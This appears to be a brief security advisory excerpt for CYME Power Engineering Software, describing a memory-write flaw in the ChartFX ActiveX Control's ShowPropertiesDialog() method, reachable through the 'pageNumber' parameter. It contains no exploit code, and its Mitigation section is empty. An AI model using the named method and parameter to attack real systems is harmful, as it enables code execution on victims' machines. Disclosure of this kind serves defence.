CYME Power Engineering Software

The vulnerability is caused due to an indexing error in the "ShowPropertiesDialog()" method (ChartFX.ClientServer.Core.dll) of the ChartFX ActiveX Control. This can be exploited to write a single byte value to an arbitrary memory location via the "pageNumber" parameter. Successful exploitation may allow execution of arbitrary code.

Mitigation:
